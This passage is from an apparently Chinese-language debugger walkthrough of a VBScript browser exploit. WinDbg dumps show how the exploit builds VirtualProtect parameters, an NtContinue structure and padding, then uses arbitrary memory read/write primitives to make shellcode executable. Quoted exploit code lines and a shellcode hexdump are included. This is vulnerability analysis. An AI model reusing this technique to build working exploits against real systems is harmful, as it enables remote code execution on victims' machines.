57 8b 52 a|., .......RW.R 0265005c 10 8b 4a 3c 8b 4c 11 78-e3 48 01 d1 51 8b 59 20 ..J<.L.x.H..Q.Y 0265006c 01 d3 8b 49 18 e3 3a 49-8b 34 8b 01 d6 31 ff ac ...I..:I.4...1.. 0265007c c1 cf 0d 01 c7 38 e0 75-f6 03 7d f8 3b 7d 24 75 .....8.u..}.;}$u 0265008c e4 58 8b 58 24 01 d3 66-8b 0c 4b 8b 58 1c 01 d3 .X.X$..f..K.X... 0265009c 8b 04 8b 01 d0 89 44 24-24 5b 5b 61 59 5a 51 ff ......D$$[[aYZQ. //接下来开始为 VirtualProtect 构造参数： //result=result &EscapeAddress(ShellcodeAddrParam) 0:005> dd poi(esp+c) lc 0055e470 0212004a 024dcc24 02129da8 0055cab0 0055e480 02110008 00000004 0392ca3c 6e5d0001 0055e490 00000000 02108298 0037a1bc 0055f5cc 0055e4a0 024dd0b0 0055e4d0 02650008 024dc9d4 0:005> dd 02129da8 lc 02129da8 02120008 024dcc24 0393da34 0055cab0 02129db8 00000000 00000000 655fbbf0 0c04fced 02129dc8 00000000 00550050 00000000 0055f698 0:005> dd 0393da34 lc //1--lpAddress：修改的基地址(也是上面字符串的起始地址)0393da34 41414141 41414141 41414141 41414141 0393da44 41414141 41414141 41414141 41414141 0393da54 41414141 41414141 41414141 41414141 //result=result &EscapeAddress(&h3000) '2--dwSize: size //result=result &EscapeAddress(&h40) '3--flNewProtect：PAGE_EXECUTE_READWRITE //result=result &EscapeAddress(ShellcodeAddrParam-8) '4--pflOldProtect： 内存原始属性保存地址 //result的值在不停的变化 0:005> dd 0392ca3c +10fdc 0393da18 0265002c 0265002c 00003000 00000040 0393da28 02650024 08060000 00010fe8 41414141 //result=result &String(6,Unescape("%u4242")) '重复 12个“*” 0:005> dd 0394ea5c +10fdc 0395fa38 0265002c 0265002c 00003000 00000040 0395fa48 02650024 42424242 42424242 42424242 //result=result &StructWithNtContinueAddr ' 3*0x00+4*NtContinue函数地址+0x00 //StructWithNtContinueAddr 函数是将\x00 与NtContinue 函数地址形成了一个拼接， 0:005> dd 0392ca3c +10fdc 0393da18 0265002c 0265002c 00003000 00000040 0393da28 02650024 42424242 42424242 42424242 0393da38 68000000 68776a55 68776a55 68776a55 //NtContinue的函数地址是 776a5568,68位置不太对看起来有点怪异 0393da48 00776a55 41410000 41414141 41414141 0393da58 97174369 0006b5af 002d00c4 003bb6d0 0393da68 41414141 41414141 41414141 41414141 0393da78 41414141 41414141 41414141 41414141 0393da88 41414141 41414141 41414141 41414141 //result=result &String((&h80000-LenB(result))/2,Unescape("%u4141")) //把除了当前的result有效的位置外的地方全部写成"A" //最终的效果是： 0:005> dd 02b70024 +10fdc 02b81000 0265002c 0265002c 00003000 00000040 //依次为 shellcode 地址，VirtualProtect四个参数 02b81010 02650024 42424242 42424242 42424242 02b81020 68000000 68776a55 68776a55 68776a55 //NtContinue 的函数地址 02b81030 00776a55 41414141 41414141 41414141 02b81040 41414141 41414141 41414141 41414141 02b81050 41414141 41414141 41414141 41414141 02b81060 41414141 41414141 41414141 41414141 02b81070 41414141 41414141 41414141 41414141

继续往下走： SetMemValue VirtualProtectCallParameters(ShellcodeAddr)

//SetMemValue函数内的IsEmpty断点： 0:005> dd 0037a1bc 0037a1bc 00000002 00000000 02110008 02105c94 0037a1cc 01dc0024 40000000 0037a1e4 7cd33254 //01dc0024是VirtualProtectCallParameters函数返回的地址 0037a1dc 88006c6c 00000000 00000000 00000000 0037a1ec 00000000 00000000 00000000 00000000 0037a1fc 00000000 7cd3322f 8000e984 77110106 0037a20c 00000000 771246e2 00000017 0037a208 0037a21c 00000000 00000000 00000000 7cd3322a 0037a22c 88005668 00000000 00000000 00350000 //lIlll=GetMemValue+0x10FDC 0:005> dd 0037a1bc 0037a1bc 02120002 02129db8 02b70003 6e5d1684 //更改类型为Long 0037a1cc 01dc0024 40000000 0037a1e4 7cd33254 //返回01dc0024地址 0037a1dc 88006c6c 00000000 003b2f48 77737560 0037a1ec 00379f90 00000000 00000000 00000000 //lIlll 得到这片特殊环境的首地址 01dd1000 0:005> dd 01dc0024 +10fdc 01dd1000 0265002c 0265002c 00003000 00000040 01dd1010 02650024 42424242 42424242 42424242 01dd1020 68000000 68776a55 68776a55 68776a55 01dd1030 00776a55 41414141 41414141 41414141

执行 SetMemValue ExpandWithVirtualProtect(lIlll):

先看 ExpandWithVirtualProtect(lIlll) 函数

//ntContinuePtr=structForVirtualProtect+&h23 加的23刚好是 NtContinue 地址，这个值终于正常了 0:005> dd 01dd1000+23 l8 01dd1023 776a5568 776a5568 776a5568 776a5568 01dd1033 41414100 41414141 41414141 41414141 //result=result &String((&hb8-LenB(result))/2,Unescape("%4141")) 0:005> dd poi(esp+c) lc 0055e460 0000004a 00000000 02129da8 00000000 0055e470 02b70003 6e5d1684 01dd1023 40000000 0055e480 024d0008 024dc9f0 00307044 40000000 0:005> dd 02129da8 lc 02129da8 00000008 00000000 003a502c 00000000 02129db8 00000000 00000000 655fbbf0 0c04fced 02129dc8 00000000 00550050 00000000 0055f698 0:005> dd 003a502c 003a502c 01dd1023 00410041 00410041 00410041 //0041填充 003a503c 00410041 00410041 00410041 00410041 003a504c 00410041 00410041 00410041 00410041 003a505c 00410041 00410041 00410041 00410041 00